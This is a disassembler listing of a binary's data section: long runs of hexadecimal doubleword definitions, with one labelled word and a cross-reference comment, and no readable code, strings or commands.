		dd 48F825DBh, 0E3FB2417h, 57A3389Bh, 0CFC8102Eh, 4B875B00h
		dd 0AE4322h, 0F2CB397Dh, 0FA35E658h, 264C9F00h,	181961F4h
		dd 9E4758F8h, 0FD43CA0Fh, 0AD07C12Fh, 1C304C1Dh, 0E7A1C81Fh
		dd 4C00762Eh, 0DB54EED7h, 0AB7771Dh, 73B633DCh,	0D7042364h
		dd 1DAF187Eh, 1E4E1065h, 7C239E00h, 0F307C06Eh,	8763019Dh
		dd 0B2B373E9h, 0B7B464D0h, 0CC883100h, 8729494Dh, 8396656h
		dd 1500219Fh, 0A99D882Bh, 0CAA383Ah, 72B5E7D6h,	12605E58h
		dd 88CFDC79h, 640009Ah,	1B7FF5FDh, 7A0C4899h, 0A0EC1D5Ah
		dd 7B3F30DBh, 0DE9DCE30h, 3DE61C01h, 0A6714B1Eh, 0C9F4D4h
		dd 41D9D6AFh, 0BFF7D47Bh, 0FA81D9D2h, 418047DBh, 2597CC4Dh
		dd 0BB0C1EBEh, 846C677h, 231C0F3h, 0A1F897D4h, 82F6CC06h
		dd 7EA984C4h, 0F0CA3E77h, 0C9FDDA83h, 41A8AE17h, 0F931D418h
		dd 0FC566142h, 98409ECDh, 6C1EEE52h, 0E788F080h, 97E3048Ch
		dd 6246BE2Ch, 0CAAD20EAh, 0DB00B497h, 0D29E7B8Fh, 7D9B341Dh
		dd 5F77028Dh, 746ED4EDh, 0AA92E0A0h, 0FB03DDB9h, 0F3DB6718h
		dd 6A083008h, 0B9B33821h, 1479AE00h, 0C1FC0471h, 0C0A56007h
		dd 6524D731h, 5AE980FDh, 93AEB419h, 489715EBh, 2030C8F8h
		dd 0B6E13821h, 7008DF60h, 1886C634h, 0E80EB510h, 0C8C2474Eh
		dd 4A82043Ch, 81C9D04h,	1A6072D9h, 0ABA6DEh, 83E041E8h
		dd 5F462207h, 29D68730h, 604D10AEh, 680D785Bh, 0A2E42A22h
		dd 24DBDA3Bh, 0E844007Bh, 2B97CE60h, 0BA43BE74h, 800F922h
		dd 0BE3C97D6h, 0A3810AEFh, 7AF90AE4h, 80A879FFh, 0C459C1F9h
		dd 7E0041DDh, 0AD927D97h, 0C1560E0Ah, 90C10180h, 312080C2h
		dd 0AD8C5DB7h, 90EEFE2Ah, 0C9F50920h, 5827D92Fh, 7ADE20CBh
		dd 86601E44h, 82EFC8D1h, 0F064606Bh, 57333A46h,	0D2A87554h
		dd 0F2978B0Dh, 0B002206Ch, 882E30B8h, 314DE111h, 1821A38Ch
		dd 3588241Eh, 0C50AD700h, 38E5565Bh, 6448D3C7h,	0EAFFBE81h
		dd 0C8F70094h, 0F6A812BFh, 72C8490Bh, 0F111681Dh, 0B6CF7680h
		dd 0B073969h, 0BE589965h, 1C7DB2B3h, 54295068h,	0A5B86873h
		dd 0F351008Ch, 5A9390D1h, 0C4A02772h, 0B200C652h, 7C09DB32h
		dd 5045EE50h, 24E6B011h, 645083ECh, 882C60B6h, 414D29E3h
		dd 2A164038h, 0BD09AC88h, 21105D8Bh, 3DBCB710h,	1F4292DCh
		dd 42A318DAh, 9E277102h, 0CB86B440h, 1B289701h,	20E5EFD8h
		dd 9C6D8880h
		dd 0DBE35A0Fh, 0C27A4303h, 50D9D8A7h, 7F28BC30h, 1F263070h
		dd 0A76A73D0h, 8B2085E9h, 0C840826Eh, 9317AEF8h, 0A38000D2h
		dd 7D9D77C6h, 21DD814Dh, 84644C3Dh, 24975479h, 97DEE2C2h
		dd 83F491E4h, 8812B349h, 0C42ACFCh, 6BC97CF7h, 7A1841A2h
		dd 0FD797B4Dh, 0D34B26C1h, 6588094h, 6E692F76h,	0DB5A88C6h
		dd 0C9FB0829h, 0D832B793h, 3BA207Ch, 98000C78h,	4B3DF506h
		dd 1E73E70h, 0D68AE653h, 656711EFh, 43A8A554h, 6820F50Eh
		dd 233197E0h, 0EF113EBEh, 97C80600h, 703A39ACh,	0C20DEB09h
		dd 779082F7h, 9591009Fh, 0F4123E59h, 54018A26h,	128DEE4Eh
		dd 0CA9D7880h, 7DC682E0h, 0C908A4B1h, 2FCB0073h, 0E83127B0h
		dd 0B4012E00h, 0F7683BD9h, 24DB0006h, 17FF5B39h, 0BE012D19h
		dd 3BCBBB86h, 4192D3FDh, 8FC861D4h, 300835DAh, 4150F62Ch
		dd 0EC261EA4h, 88A4546Ah, 9176508h, 6C044A8Ch, 883060B2h
		dd 614D23CFh, 1A16A211h, 4EC5005Eh, 0F90A5898h,	9F5CFB39h
		dd 1358552Fh, 13E6A8E1h, 33BA5EEh, 4E7C8E6Eh, 241619C9h
		dd 5C9085ACh, 232C2458h, 0B6E20127h, 18F393A9h,	0EA43880Fh
		dd 6888B600h, 8FACC210h, 740D0C9Dh, 0F3A1A0B3h,	13FAD600h
		dd 634DBB9Fh, 331E00F5h, 2F46FB5Bh, 8F7698DDh, 29D0B350h
		dd 5C00E40h, 0ED5D9F3Ah, 0B49898CAh, 0FCDFB908h, 406DC408h
		dd 0BB99D32h, 5A67DE3h,	463A036Ah, 88BC8E17h, 24BC066h
		dd 8B2FCC1h, 0CA2A9012h, 9542E85Dh, 604BC791h, 0A2747A84h
		dd 823680F0h, 92836E0Eh, 6CA40084h, 9839CB35h, 0AA0015A8h
		dd 703057D5h, 24CC94E0h, 8168F0FFh, 0E218D60Dh,	0B4118FF7h
		dd 0A23C409Bh, 274781h,	669C7778h, 0DB40C985h, 0E2CAB700h
		dd 0BB2EC654h, 6271C197h, 0A9A9023Ch, 0A0D124E9h, 50F7418h
		dd 6027113Fh, 52681BE4h, 0F820600Eh, 81EBD183h,	0CC18F892h
		dd 5EB1F6FDh, 8927Fh, 0F7515FA9h, 0AE938369h, 13E95D3Ch
		dd 0E741h, 0DE7C02E3h, 0F6A93BBFh, 70F4BBF5h, 11162BEDh
		dd 3C3E3950h, 7B00A023h, 0A97DEFC6h, 45FF12BCh,	4AE020B0h
		dd 9600AFF6h, 0B267478Dh, 60DBE8Ch, 0BD82E786h,	1A78E911h
		dd 683C2513h, 0FDE30401h, 834598Fh, 7938915Dh, 3C8186Ch
		dd 0ADE7789Bh, 0DACACDCEh, 0DD4B60E8h, 0D059E51Ch, 1C08C100h
		dd 146841DFh, 0CC24DE02h, 3009D13Dh, 0DC3323D7h, 93ADB5F8h
		dd 91991321h, 0E6370023h, 5F20DCB6h, 0AFF5156Ah, 620080CCh
		dd 754989A2h, 8C032CE7h, 0A0FB0B0Ah, 94E4A9B3h,	30B7B842h
		dd 0E013882Dh, 5039294Dh, 0DF882640h, 99940F65h, 6F00B774h
		dd 0C8807139h, 8F0270B1h, 0E0EA4622h, 541975B4h, 8CD1A467h
		dd 0DCB9AB04h, 686710FBh, 10003993h, 0F7BE761Bh, 0BC734D9Ah
		dd 7F010609h, 903C2C81h, 0F79984CDh, 0A4B4C282h, 0EA02180Fh
		dd 9A5380F3h, 0F64E1A04h, 90D11405h, 471C3F7h, 79DD5450h
		dd 0DD45FA5Ch, 59546910h, 76186Bh, 0BC0379CDh, 0D5913BC6h
		dd 0CC1D99D2h, 204C71D0h, 1279AE10h, 0FC0323E7h, 741DCE0h
		dd 0F6A4BD89h, 86799090h, 68A0BA82h, 55F0DEE0h,	0C1F8CB75h
		dd 284C0CA3h, 2D2060C4h, 58DB93B5h, 0EAE8C096h,	3AB5748Ch
		dd 0E010D57h, 0FE420A56h, 8AB048AFh, 94F3A807h,	1D705352h
		dd 0C451403h, 0BF9F29AEh, 4F69B50h, 14D01F59h, 6CE227h
		dd 322D88D1h, 546DCAEFh, 0BD9C69h, 7D5BB961h, 31C4744Fh
		dd 658CC800h, 2841DEB3h, 0FCBC01ADh, 0F7BDE550h, 6763C5A2h
		dd 7ADF0ABCh, 0E04E74E1h, 0D6BE2E97h, 0EE4486BAh, 97C90007h
		dd 0F6D2961Dh, 73097D64h, 4F8BE0Ah, 37829B14h, 0AAECE0DBh
		dd 0D3550367h, 7FFEF5A9h, 2936D8E0h, 7609F7F6h,	8FA0C3CAh
		dd 7202C29Ch, 53DC4140h, 315A93E8h, 0F350ED36h,	0A078A08Eh
		dd 0DD517917h, 5DC72442h, 74E0A716h, 6CF02BC0h,	21A200E0h
		dd 0AF7302A4h, 950732EFh, 0B2265FE1h, 8DCBFB47h, 50426834h
		dd 0B9A930D3h, 0E0FCE209h, 7489666h, 0EBB9B237h, 0D23E0BFh
		dd 0DF4A5B78h, 0A023B82Fh, 3C5CC700h, 0B7BCAC9h, 293CE6Ch
		dd 20F32811h, 31C3BB90h, 0DEC382A7h, 5A6F0CE9h,	22284D76h
		dd 8DFE0D03h, 9F83C26h,	53DE7A21h, 0C0B7B892h, 60642500h
		dd 942DA6B0h, 0BD9B0144h, 2096CE97h, 0DC24E71Ch, 618004F5h
		dd 0FC9582B1h, 24FD0957h, 0BB00B3B6h, 0B51A0F22h, 0A4903F77h
		dd 5AFF8D02h, 0A4B10467h, 0AF60D5BCh, 22118B9h,	0B835C0B0h
		dd 3B02F4B9h, 7B5104ACh, 1E4460CDh, 20124186h, 7940BA6Ch
		dd 718412F6h, 354C59Fh,	4FC27A40h, 5844B3BCh, 8C17E8E8h
		dd 0CFB3D515h, 59281FCCh, 0AF81C540h, 18863F5Fh, 9066D908h
		dd 555C7D9Dh, 0B981839Ch, 0AF491815h, 42DB41A1h, 80B6983Dh
		dd 335DE6C2h, 1598CBAh,	96FA1FECh, 55BD9D8Fh, 76542FE4h
		dd 1C5F128Ch, 23EC2FDEh, 6EB103F5h, 0C0DCDB14h,	6478DE18h
		dd 59E50680h, 411181Fh,	0FF4A74D4h, 0EC1EEC43h,	3201E4EEh
		dd 48C7ED5Fh, 0B91CAD5Ch, 542CFCDEh, 0BB63370h,	5DD8BFB9h
		dd 123D2890h, 4DC6C200h, 0E35B40ADh, 0C5952E98h, 849B11F0h
		dd 6E0B7578h, 43BE1448h, 0B02EFF00h, 0CDC7943Bh, 0A890036h
		dd 8AA89C82h, 0B34B5C13h, 96217043h, 8F02B169h,	9742FECh
		dd 6F1A9CA6h, 0A508B490h, 5D34941Ch, 0DE51DA00h, 1FF7EECAh
		dd 0FC8138h, 7F1D04E5h,	2B24CB59h, 0B517A03Fh, 0D8BDE80Bh
		dd 240C9C91h, 85F1308h,	2BC09D1Ch, 5A4DE288h, 17242C39h
		dd 94882500h, 0B974C7B7h, 0BE70060Eh, 587FD307h, 0C401D429h
		dd 0DCC28C8Ah, 0A0882792h, 1DB90194h, 4CC612EBh, 0E07CE4DBh
		dd 8324F200h, 902BD306h, 3C2313C1h, 6E10D207h, 46BBD090h
		dd 0FC310800h, 301AC785h, 0D2C30E8Ah, 980ED359h, 0CC29A9EFh
		dd 4604F464h, 637F02FCh, 5AEFBE70h, 6449740h, 96EC45A5h
		dd 109A1089h, 0B42F735Ah, 0C073A510h, 9FFAD4DFh, 0D1DD12B7h
		dd 654D1B9h, 3009C503h,	12007240h, 0B9B38811h, 60FC6AF7h
		dd 0B2DB885Eh, 516A56DFh, 0A814080h, 919C81CCh,	7F200830h
		dd 8C64A8CBh, 2C58A04Ah, 5AA0A0FCh, 0F669CFFFh,	8CDB805Fh
		dd 28133443h, 2DBB5700h, 0AFCC897Eh, 0AEB607CEh, 10FDBC80h
		dd 692C8466h, 57216007h, 0BEF349B8h, 0D2ABA0B0h, 0A4F50012h
		dd 0AD66245Fh, 88F01017h, 0F4CB051Ch, 0EAD39740h, 38377AD1h
		dd 69808470h, 54124068h, 9303A74Ch, 85B7504Bh, 0C059B8BAh
		dd 8C1905BBh, 0C0D4361Ch, 0D1DBC418h, 0BA00FEA3h, 0D2E2B041h
		dd 98DDAD8Bh, 2C846D8h,	219B9AEh, 106B31B8h, 0FB9B734h
		dd 1257E9EAh, 7E5E7662h, 5873A8A0h, 0A00999D0h,	3FA751h
		dd 1A3886CDh, 5E3E3850h, 0FD2C0BCAh, 0FCFA7C46h, 0E0008A5Ah
		dd 1B2F0AD4h, 2FD54F66h, 3EF23F8h, 0C7F7C4BDh, 3843BABAh
		dd 0B36CC5B4h, 30F0B26Ch, 0EC00E8DAh, 541B6A82h, 94C78001h
		dd 3E2A42E0h, 0CADBECCBh, 0BF26397Ch, 46749025h, 0FC0A7266h
		dd 0D4B387C9h, 0B4132513h, 0A39D088Bh, 0BDCA3600h, 986F8E8Fh
		dd 8CE1614h, 8628C049h,	5D59D19Ah, 2DB8D4h, 61C1B84h, 5A7960F2h
		dd 80412E28h, 514E24A7h, 4934D8Fh, 285FAA0h, 0CAA9F886h
		dd 641142FCh, 1FB03744h, 0A12A42B8h, 18B4CCE9h,	0CD880832h
		dd 1C70514Dh, 0F1883828h, 68E45D00h, 0AF421883h, 0C8FA3E2Eh
		dd 3013B059h, 24EC22A2h, 0B4B6DF02h, 19991B93h,	0E73A100Ch
		dd 891809B6h, 80FF8305h, 0FE80168Dh, 96F07A86h,	0B35D0970h
		dd 20841868h
		dd 0AA232F00h, 900486FCh, 0F2460B37h, 348535B4h, 0D450B552h
		dd 0E809EDE3h, 0C58AE5E6h, 72D9E248h, 13AB218h,	978A5B8Fh
		dd 68919520h, 8C23F880h, 0B52A7500h, 0F51A5FE7h, 917A0EFEh
		dd 83F20622h, 0CED33CF4h, 4CF7A126h, 11F5A901h,	9C6020DDh
		dd 0E0CB3E0Ch, 4A72CE01h, 6C7A5580h, 0B52C80F8h, 9D25024h
		dd 0F9D3CAE5h, 5E48AC52h, 70FE80C0h, 12CEFDA3h,	8C91E39Ch
		dd 8B00C744h, 5BF4F74Ah, 5D473D6h, 76F6AF25h, 0F4F81009h
		dd 0C8F80A22h, 30E3A9C0h, 3D46DFh, 5F6DBAC9h, 537D8E11h
		dd 0AC99A8FDh, 6F0B1490h, 0E85AC492h, 0B8472A4h, 5F52B107h
		dd 9C73C4E4h, 174F24BCh, 0EFC8F4CEh, 0FCEBDCC0h, 0D9400147h
		dd 0A3E4EF4h, 76983914h, 2DA0A14Dh, 92C498F7h, 5A3E807Ah
		dd 74FD3C28h, 802C6E48h, 0C22B5CD8h, 0B953096Ch, 445973CFh
		dd 0CC18F479h, 4C47591Dh, 0C05FD1CBh, 4F0A90A4h, 0FDD80362h
		dd 194F47C1h, 27D93C20h, 42301D52h, 0B4F6C7E4h,	97DE0CCh
		dd 5730C9A2h, 611E30ACh, 0FF3C1479h, 802260ABh,	25EE4201h
		dd 0B3664B8Ch, 1A19BC0h, 5DDEAFB2h, 28B4D857h, 0EC758038h
		dd 79CC684Fh, 5CB716A3h, 30EF097Eh, 17712C59h, 0AEDFE419h
		dd 1351C1FCh, 0B24C68C4h, 6C0229AFh, 205A7B6Dh,	29955030h
		dd 9EB3B722h, 80E19F84h, 0B477DB34h, 6E30683Bh,	0F7F4297Fh
		dd 736200D1h, 54E7DCA0h, 28B0E144h, 4D674825h, 3AE6C0ACh
		dd 27034013h, 0AACEBB03h, 73282448h, 7A720830h,	0C0C75D13h
		dd 0C080F81Ah, 0D5473982h, 4EB001Fh, 0C3FB4B06h, 0F737C81h
		dd 2F8B8D4h, 0DBEC9CD5h, 8024483Ah, 4BC40E6Dh, 11C0DEEh
		dd 1CB5D3DAh, 54E4C8AEh, 0E6E2AF05h, 50F45E53h,	23B107D1h
		dd 90F363B3h, 4FE4057Ah, 573AD300h, 0BFF4D01Eh,	184409FBh
		dd 88C55F27h, 7F606AC4h, 84060540h, 0EC682E3h, 50792E79h
		dd 0B4DB4478h, 0D009EA0h, 2265CBDEh, 1E054Bh, 58BABC59h
		dd 0E03BDC2Ah, 8040FB4Dh, 1A52900Ch, 4A178EBh, 44183F05h
		dd 0F2DCB2A5h, 0B28230F2h, 8E0A9317h, 73DBC880h, 0D03C32AFh
		dd 0C032EC50h, 90BE2F5Ch, 1C949548h, 97D20400h,	4307BA4Fh
		dd 875E25E5h, 43C07CCDh, 0E073F766h, 0D3C0385h,	0F6FA2A90h
		dd 0BA81F017h, 0CA5A9430h, 5D538043h, 0A6FE1A02h, 0D1F1F5E9h
		dd 2ED402ECh, 0E3F57118h, 43DE363h, 709B9719h, 0EBA7C0D6h
		dd 8A5E794Bh, 0A523F42Fh, 8967BF38h, 70B2EFBEh,	0D2FB1948h
		dd 79ED6951h, 11B828h, 81EF2D94h, 1D96DB91h, 703F0418h
		dd 49EE4E60h, 3C0AA499h, 83A0D5F9h, 8655F8CEh, 8FE9180Dh
		dd 0F430A9BAh, 0E6972DBEh, 7D6FE402h, 1DA80068h, 4C789B00h
		dd 2F621843h, 3890E6h, 0DAB0BBEEh, 0D61ABDCBh, 182E5C4Ah
		dd 19006C23h, 8BFA6DA6h, 6B3304C9h, 0A0282E0Ah,	0F701E3D0h
		dd 183E7797h, 78A76Eh, 69E23442h, 1FC08E31h, 0AC501265h
		dd 0CB989064h, 0A2CD655h, 0D10094FAh, 0F687E542h, 86031205h
		dd 722800F4h, 0EE502319h, 9C0BC128h, 0DCD1834Ah, 0C503AE57h
		dd 978C5005h, 0C00069D6h, 94D1D2F7h, 41DD02BEh,	0DEF5AFCh
		dd 2122D041h, 604CCD80h, 0D23FE7D8h, 48CE3071h,	4809C06h
		dd 4E0A6FE5h, 804A847h,	1FAAFB69h, 0FE70DFCh, 0BC846C48h
		dd 61008C6Fh, 149D63E9h, 247DB033h, 4A02D66h, 1EDF222h
		dd 2FBE5CEh, 0A824E9C5h, 6C0945B9h, 0EB088138h,	0ACE8FE15h
		dd 0C5A60078h, 0B5E8E044h, 8C273E39h, 57C400D2h, 3479EC93h
		dd 3B88295Bh, 26823E0h,	0E6B56C6Fh, 0A0421867h,	989D1873h
		dd 0E9694F1Ch, 0AF1BA500h, 88C206Eh, 0C0803CADh, 2A13BC48h
		dd 5ED660B1h, 0F2467EE4h, 1AB94800h, 0F0E5A949h, 821E4E09h
		dd 0D5200265h
		db 85h,	0F9h
word_505446	dw 0AC4h		; DATA XREF: ___:off_435710o
		dd 2F42566h, 0A51FC1B9h, 48107805h, 203F30C4h, 2E66B9FFh
		dd 1164D812h, 7E2100A1h, 76F8841Dh, 36D90071h, 57D0F392h
		dd 6907F79Fh, 9B8BDF4Ch, 207B9C67h, 1AF44109h, 0FCC05C5Ah
		dd 0B2B17F0Ch, 0E27E7A71h, 26855900h, 50FE41DFh, 40A4970Dh
		dd 486898C1h, 7C00BC4Ch, 0D802C712h, 0B387A847h, 28688429h
		dd 0AAB5DD60h, 97CB9310h, 44800EC8h, 0E78EB6E5h, 6D78018Bh
		dd 0CA66F9Ah, 0E91ECFB0h, 58DCD598h, 0B7E5F740h, 0E36410h
		dd 12F4901Eh, 0C9026904h, 18A051F9h, 0C2F2BF7h,	0CD006F23h
		dd 932D1EA7h, 9C47F71h,	0FF3BA84Ah, 0A8C0A092h,	8A8221B5h
		dd 64264AE4h, 4964B03Bh, 712D565Dh, 4755004Eh, 0DADD81EBh
		dd 460040A0h, 0C8786E2Ch, 2480278Bh, 48AC14BFh,	0A7930374h
		dd 0E1B81A09h, 0C200958Fh, 70CD8922h, 95163F5h,	0B30D2502h
		dd 2C6D4848h, 38BA4C00h, 0DF5BC6B4h, 264E77C2h,	3F6A1DEAh
		dd 0E960F982h, 6844FDCCh, 271BB000h, 442690D2h,	2D7493BEh
		dd 0FE00EC35h, 9A705B17h, 4E261494h, 0BE05288Eh, 0A49D3B07h
		dd 894031D4h, 0C8F84B3Ch, 3E8602E0h, 41B707h, 5278469Fh
		dd 9C8A649h, 70E7C1B8h,	0D43A0C88h, 913945FCh, 0B8BD3200h
		dd 0DCF7D901h, 7819C043h, 7319D8A7h, 5B5FD300h,	0F4F6BCC0h
		dd 0EB670258h, 0E8CEB904h, 0ABE42865h, 0FFD44860h, 5E693E64h
		dd 75BBCB4h, 1E6AF278h,	0D442F744h, 0E884A87Ch,	0D4028CEFh
		dd 2F1CEBE0h, 0EE16E049h, 0A051EDA5h, 7417A1FBh, 0F43C9076h
		dd 0A5008EE4h, 0AE06FE59h, 1D3AAD17h, 4991BAD2h, 0BCE55F67h
		dd 3C86D1CEh, 0BC8A8E8Ah, 3CA61461h, 0D8DB18BCh, 5D0456B1h
		dd 50021C57h, 0EA7F2931h, 72875C76h, 8A31FBAAh,	0C82CB077h
		dd 51CFA319h, 29C5315Ah, 0A50714D4h, 56F2100Ch,	21A91F84h
		dd 6005226Ah, 0ED9C7B08h, 1A2A2727h, 6BD08278h,	0F44E01E4h
		dd 694840D4h, 0C72B397h, 23C42097h, 1C75F6FDh, 409202E8h
		dd 98C67F03h, 4A01305Ah, 27C45625h, 206ADCABh, 67E7F7B4h
		dd 0A40E4672h, 9EE8C310h, 0B49B5AD3h, 8F641480h, 1D140345h
		dd 1646E93h, 99E0F2FAh,	5072D0D4h, 2523B048h, 0AFB6E001h
		dd 1218E393h, 0E84588h,	870105B6h, 8A8C1DF2h, 31D87E51h
		dd 0ED8474F5h, 0B950AE04h, 0E0CB3148h, 0F7C00CC8h, 0F2B1A9F6h
		dd 936917F4h, 9E8401F8h, 40BA5B71h, 54F6B4D4h, 39A75E30h
		dd 34E8Ah, 0EF1AEE9Bh, 79C9AF7Fh, 0B40F8F0Fh, 72652096h
		dd 67299Ch, 4E19D6A2h, 4C27B0BAh, 6870B801h, 21A7D89Fh
		dd 118C6F3h, 2FD6780Ch,	5B946A17h, 47C91F20h, 3D9BEEA0h
		dd 5B80D3B7h, 5A8CD577h, 0E8145D13h, 7CB5AEA5h,	5F876700h
		dd 35A06264h, 0ADFA0D23h, 0A385E6Bh, 10816120h,	20049ED2h
		dd 0BC0A2414h, 4A7CA10Fh, 5C8780A5h, 0E29A60h, 27097799h
		dd 0AE559FA6h, 0D858A8E8h, 0D57315ACh, 93086234h, 0CC808267h
		dd 0A0213741h, 4C4587F0h, 7ED47Fh, 0EBE1E2BAh, 0E33996D0h
		dd 323FDF04h, 0B8E0616Eh, 9565245Ah, 0CE5E00C4h, 328BD16Fh
		dd 949A8FB0h, 0AE602701h, 0A38D5D3Ch, 84D22990h, 9344EF2Ah
		dd 8E3A445Fh, 44707644h, 9F48EB95h, 248C0442h, 0F309215Ah
		dd 3C826B12h, 7E258A3Bh, 0F091141Fh, 71087721h,	20C29DDAh
		dd 0EA4ECE00h, 0AF0CF18Fh, 46B70008h, 0FD38769Dh, 0FF072A43h
		dd 7F210EEDh, 0DD0FF590h, 52BB009Fh, 6168FAAEh,	302E3447h
		dd 9B0073CDh, 5C835B39h, 9AE10011h, 7EC4ADB2h, 53009FCBh
		dd 7201CF8Ah, 56618Fh, 0B8176593h, 6DA2D1AFh, 0B45BDD03h
		dd 0E8E918D5h, 2DD2A0h,	2196536Fh, 49AACB29h, 4BCAA400h
		dd 0D676E772h, 0DB1A00C9h, 86921BCEh, 0F43DD925h, 0F8AE82FEh
		dd 0C02EC813h, 0EBF107h, 0CFB203B0h, 8321309Ch,	0E10D1C02h
		dd 605990FCh, 3E9634C7h, 0B000D5E6h, 1B06323Dh,	80044308h
		dd 2DBEF01Fh, 1AC62A87h, 0E0820086h, 26EF09F6h,	2F05F8E3h
		dd 8310AF52h, 55430780h, 90AA001Ch, 31CA8608h, 0FA4EF99Dh
		dd 0EE006FE8h, 0F19F5611h, 1D601B72h, 82D29288h, 9C8B004Ch
		dd 55CB3A6Fh, 0C0CBEA7h, 807D0B57h, 5B830043h, 6712B5BFh
		dd 0D0B2C633h, 6EA3E03h, 0C0A26189h, 239D0BAh, 551D886Dh
		dd 55E01EE0h, 9F8C953h,	2F8658h, 40570BBh, 2E3B88h, 0B8E6348Dh
		dd 1F96F093h, 0DB6DFD0Eh, 56FF80EDh, 0C08BD2EBh, 0F3DC5580h
		dd 0B9074A72h, 6EFC95ECh, 46FEDAB0h, 98B44C05h,	8F352005h
		dd 0D4B8C9h, 82612AE5h,	387A2142h, 6A1DB771h, 0D7484076h
		dd 2E36DFCBh, 8329B203h, 0F8CFA624h, 2BF92F1h, 0D8BB1918h
		dd 0F480F2FDh, 68854D14h, 0A0104C07h, 0F0FA3FEDh, 0A91DBE00h
		dd 94F136h, 412F5781h, 0A32C040Dh, 0B011920Ah, 803FB002h
		dd 2A6A1EB4h, 123A7038h, 466CC5h, 838293ECh, 861D1C3Fh
		dd 813B1FDFh, 0FC292649h, 38F841F7h, 0E9EB068Bh, 0BA5B8A84h
		dd 51582700h, 60C432D2h, 0F3D1006Ch, 5A77706Ah,	3100D552h
		dd 2ABBEC68h, 909B96h, 0B8E582FFh, 3EB4C7FDh, 9700CFE4h
		dd 1FEB8908h, 3E0BE42Bh, 34807059h, 0AB1B1C85h,	1800F34Fh
		dd 2129A5AEh, 379268h, 5AE0CD0Eh, 0E55F56A0h, 77E9A301h
		dd 9FB95981h, 5CCC770h,	0B618D99Bh, 3BDF80BBh, 8F008361h
		dd 69807976h, 0FFED3Dh,	9DEB12F5h, 0B64A85ECh, 3A3FC400h
		dd 6DF4E958h, 0DED003C7h, 52040261h, 96FF17E8h,	4BEAC200h
		dd 0C1BDB13h, 278400E8h, 864A4DD6h, 14004783h, 0A397563Fh
		dd 48DCA4C2h, 7795829h,	69DBC544h, 4C77FADh, 53C650FBh
		dd 0E77BFEEFh, 1600E5F4h, 0AC58BFC3h, 1CC4424h,	9DB2D0CEh
		dd 68DFAFBEh, 5320005Ch, 89C612A6h, 3B250F5Eh, 0E9A0406Ch
		dd 0B2ACC3E0h, 0CC00F077h, 0AE489231h, 0F220DF73h, 25D40B36h
		dd 1785E859h, 3BD9E80Dh, 30BB85E4h, 0DE1D2DC3h,	0E551807Bh
		dd 9B6CE853h, 0E6F10092h, 10D5F9C1h, 85005715h,	4793187Bh
		dd 26AE21h, 436459AFh, 5FE4B64Bh, 0B07EFC07h, 7D04D78h
		dd 28B5CBDh, 0ACEC6AD6h, 0C4F86177h, 990010EAh,	21BD0B76h
		dd 0E2B4F7h, 83900E67h,	69EEB8Ah, 2400B0ECh, 2831E930h
		dd 0D6774Ch, 366E409Fh,	33EB29BFh, 140F5DF8h, 403A3491h
		dd 6EEAFC37h, 56BC3011h, 9DDA3330h, 0A3847A00h,	0A5EB88ABh
		dd 0ED870F19h, 40616671h, 41231C8Bh, 302258CDh,	9F00D0B0h
		dd 827810Ah, 0D6DD91h, 2C678D77h, 63F1CD83h, 64CCC000h
		dd 3CABC814h, 1D5303D8h, 0B39113A3h, 32D5A3DFh,	0DB0923A8h
		dd 0A456C900h, 0A93D9E12h, 0B5140F84h, 2D8086F0h, 0E0CCEE04h
		dd 2F2771F6h, 0B1466091h, 4A5AEBh, 2E903AD0h, 7B004B46h
		dd 1B82FC27h, 504E15h, 6564D07Eh, 0EA1D488Eh, 0C7DDF26h
		dd 9BF65A00h, 0AB231Bh,	0A4CD4DD9h, 0DC3898D5h,	0F8EDD400h
		dd 76192EDFh, 0FCD90024h, 33A6F909h, 0BC01AF15h, 20F3DB7Fh
		dd 835A05Bh, 0F6538840h, 47113E67h, 0EA690780h,	0D675A393h
		dd 38E830EBh, 0B69B0200h, 0AD21B15Fh, 5153ADEh,	4F33D103h
		dd 4CB83E1Ah, 8778951Bh, 9F5CE900h, 48C620F4h, 2EE23D65h
		dd 0FCCED100h, 3B156E19h, 8C625900h, 2D9887D2h,	46CF02E2h
		dd 0A7D1CB50h, 0F7267860h, 0FAE90B00h, 0ED0571C0h, 0C9CC00E4h
		dd 25655DFFh, 0EBF6BC06h, 312EB37Fh, 3D045C3Fh,	26C0DE91h
		dd 311C0FFh, 41B8A8B4h,	29B08AE0h, 5F006798h, 582B2031h
		dd 77372F0h, 0A9AD9AE4h, 0D54E4083h, 0AB7AA224h, 0B080D800h
		dd 0B336E5FCh
		dd 66C10715h, 408E95B1h, 0CD7AAE49h, 0AB16F800h, 0EFBC7158h
		dd 0E1A70004h, 0E3A30264h, 9700FC5Eh, 0F856EAFFh, 9A1A9Eh
		dd 0ADE6BE21h, 0C9419517h, 1801749Ch, 0FE1A4E4Ah, 0A04D67E8h
		dd 7D6328BDh, 0B4EC1D01h, 0F484C0AAh, 86505A29h, 8E6CB00h
		dd 0CD9C2E73h, 8DE030h,	1AEE5F3h, 0C35DEC2Bh, 0F81E48h
		dd 0BB38733Bh, 9084DD4Dh, 85A00F0h, 0CB17F4F5h,	88B093C8h
		dd 2B1E23E8h, 1CC0EBDDh, 32CD4131h, 0AFFF00C5h,	1140B9ABh
		dd 2A00F878h, 44C47549h, 0D2D9BBh, 319A0610h, 6B91899Bh
		dd 0A349D800h, 0B5822612h, 79873B17h, 0C6528D00h, 3BDC3EEAh
		dd 0D1B04B0Eh, 4C074074h, 7B1D437h, 67C45160h, 3586095h
		dd 0FB00F56Eh, 8AE786C3h, 0B525BDh, 3F279964h, 2F36FD29h
		dd 57897412h, 0F100191Ch, 87D7519Bh, 2FD558E0h,	5C80903Bh
		dd 918D3785h, 824F4C72h, 27939C00h, 0CA9ECFh, 0A898345Dh
		dd 0EA05E4B4h, 0C0AFC100h, 3F99391Dh, 4FBC00D9h, 879C159Ah
		dd 0AB0E268Eh, 20DD08E0h, 0BAC05C13h, 6DEB0B7Fh, 0BD804FEDh
		dd 0DFCC2D62h, 0C304C00h, 0FC993365h, 0ABB50066h, 9CF64EE7h
		dd 1C00CAC7h, 8301D5Ah,	28A8BBh, 4CA124C0h, 45676CBCh
		dd 5ACFD400h, 4EFDB70Bh, 2E44B8C4h, 40DC2AA8h, 785B19D3h
		dd 0E5085800h, 763E57D1h, 75B50153h, 0F3110D2Ch, 886C83h
		dd 45CF0B38h, 3E66327h,	2440DF0Eh, 69D0CD82h, 0B2004929h
		dd 20C7EF81h, 222794Ch,	16127CFAh, 4064534Fh, 2944A21Fh
		dd 0E973F986h, 0EA810BF1h, 101020A3h, 4C021C0Eh, 7065E6B6h
		dd 0DDFCC93Fh, 0B0214430h, 4E5900FCh, 831F2D0Bh, 0D101C62Ch
